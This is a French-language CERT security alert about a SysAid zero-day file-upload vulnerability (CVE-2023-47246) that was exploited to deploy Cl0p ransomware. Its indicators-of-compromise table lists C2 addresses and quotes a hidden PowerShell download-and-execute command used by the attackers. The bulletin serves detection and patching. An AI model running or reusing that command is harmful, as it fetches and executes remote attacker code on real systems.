aDvens

Security for the greater good

Bulletin d’alerte
Vulnérabilité critique dans SysAid

2023-11-09 | **TLP:CLEAR** | CERT aDvens - CTI

Advens - 16 Quai de la Mégisserie - 75001 Paris

Sommaire

CVE-2023-47246

Le 8 novembre 2023, SysAid a publié un bulletin de sécurité indiquant la découverte d'une nouvelle vulnérabilité zero-day (CVE-2023-47246) dans leur logiciel.

SysAid est un outils de gestion des services informatiques (ITSM).

Un contrôle insuffisant lors du téléversement de fichier dans le service Web SysAid Tomcat, permet à un attaquant non authentifié, d'exécuter du code arbitraire sur le système.

Cette vulnérabilité est activement exploitée pour déployer des rançongiciels, notamment Cl0p. Lors de l'exploitation de cette vulnerabilité, l'attaquant a téléchargé une archive WAR contenant un WebShell et d'autres charges utiles dans le webroot du service web SysAid Tomcat. Ce WebShell a permis à l'attaquant d'obtenir un accès et un contrôle non autorisé sur le système concerné.

Type de vulnérabilité

- **CWE-434** : Unrestricted Upload of File with Dangerous Type

Risque

- Exécution de code arbitraire

Criticité (score de base CVSS v3.1)

Vecteur d'attaque	Réseau	Portée	Inchangée
Complexité d'attaque	Faible	Impact sur la confidentialité	Élevé
Privilèges requis	Aucun	Impact sur l'intégrité	Élevé
Interaction de l'utilisateur	Aucune	Impact sur la disponibilité	Élevé

Produits impactés

- SysAid versions antérieures à 23.3.36 (exclue)
- Les versions Cloud ne sont pas impactées.

Recommandations

- Mettre à SysAid vers la version 23.3.36 ou ultérieure.

Des informations complémentaires sont disponibles dans le bulletin de l'éditeur.

Preuve de concept

Actuellement, aucune preuve de concept n'est disponible en source ouverte.

Indicateurs de Compromission

Vérifications des journaux d'activité

- Vérifier la racine web de SysAid Tomcat à la recherche de fichiers inhabituels, en particulier des fichiers WAR, ZIP ou JSP dont l'horodatage est anormal.
- Rechercher des fichiers WebShell non autorisés dans le service SysAid Tomcat et inspecter les fichiers JSP à la recherche de contenu malveillant.
- Examiner les journaux pour détecter les processus enfants inattendus de Wrapper.exe, qui peuvent indiquer l'utilisation de WebShell.
- Vérifier les journaux PowerShell à la recherche d'exécution de scripts correspondant aux schémas d'attaque décrits.
- Effectuer une évaluation complète de la compromission du serveur SysAid afin de rechercher tous les indicateurs mentionnés.

TLP	TYPE	VALEUR
TLP:CLEAR	IP	81.19.138[.]52 I GraceWire Loader C2
TLP:CLEAR	IP	45.182.189[.]100 I GraceWire Loader C2
TLP:CLEAR	IP	179.60.150[.]34 I Cobalt Strike C2
TLP:CLEAR	IP	45.155.37[.]105 I Meshagent remote admin tool C2
TLP:CLEAR	Commande	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('.34:80/a')"
TLP:CLEAR	SHA256 I Artefact	b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d I user.exe
TLP:CLEAR	File Path	C:\Program Files\SysAidServer\tomcat\webapps\usersfiles\user.exe I GraceWire
TLP:CLEAR	File Path	C:\Program Files\SysAidServer\tomcat\webapps\usersfiles.warI Archive des WebShells et des outils utilisés par l'attaquant
TLP:CLEAR	File Path	C:\Program Files\SysAidServer\tomcat\webapps\leave I Utiliser comme flag par l'attaquant pendant l'éxcution de scripts

Références

- https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification